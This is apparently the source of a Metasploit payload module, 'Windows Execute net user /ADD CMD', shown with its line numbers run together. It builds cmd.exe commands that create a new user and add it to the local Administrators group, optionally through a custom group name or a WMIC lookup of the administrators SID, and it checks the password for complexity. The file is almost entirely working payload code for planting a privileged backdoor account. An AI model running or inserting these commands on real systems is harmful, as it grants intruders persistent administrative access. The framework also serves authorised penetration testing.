Path: blob/master/modules/payloads/singles/cmd/windows/adduser.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 9778include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Windows Execute net user /ADD CMD',16'Description' => %q{17Create a new user and add them to local administration group.1819Note: The specified password is checked for common complexity20requirements to prevent the target machine rejecting the user21for failing to meet policy requirements.2223Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)24},25'Author' => ['hdm', 'scriptjunkie', 'Chris John Riley'],26'License' => MSF_LICENSE,27'Platform' => 'win',28'Arch' => ARCH_CMD,29'Handler' => Msf::Handler::None,30'Session' => Msf::Sessions::CommandShell,31'PayloadType' => 'cmd',32'RequiredCmd' => 'generic',33'Payload' => {34'Offsets' => {},35'Payload' => ''36}37)38)3940register_options(41[42OptString.new('USER', [ true, 'The username to create', 'metasploit' ]),43OptString.new('PASS', [ true, 'The password for this user', 'Metasploit$1' ]),44OptString.new('CUSTOM', [ false, 'Custom group name to be used instead of default', '' ]),45OptBool.new('WMIC', [ true, 'Use WMIC on the target to resolve administrators group', false ]),46]47)4849register_advanced_options(50[51OptBool.new('COMPLEXITY', [ true, 'Check password for complexity rules', true ]),52]53)54end5556def generate(_opts = {})57return super + command_string58end5960def command_string61user = datastore['USER'] || 'metasploit'62pass = datastore['PASS'] || ''63cust = datastore['CUSTOM'] || ''64wmic = datastore['WMIC']65complexity = datastore['COMPLEXITY']6667if (pass.length > 14)68raise ArgumentError, 'Password for the adduser payload must be 14 characters or less'69end7071if complexity && pass !~ (/\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/)72raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"73end7475if !cust.empty?76print_status("Using custom group name #{cust}")77return "cmd.exe /c net user #{user} #{pass} /ADD && " \78"net localgroup \"#{cust}\" #{user} /ADD"79elsif wmic80print_status('Using WMIC to discover the administrative group name')81return 'cmd.exe /c "FOR /F "usebackq tokens=2* skip=1 delims==" ' \82"%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " \83'FOR /F "usebackq tokens=1 delims==" %X IN (`echo %G`); do ' \84"net user #{user} #{pass} /ADD && " \85"net localgroup \"%X\" #{user} /ADD\""86else87return "cmd.exe /c net user #{user} #{pass} /ADD && " \88"net localgroup Administrators #{user} /ADD"89end90end91end929394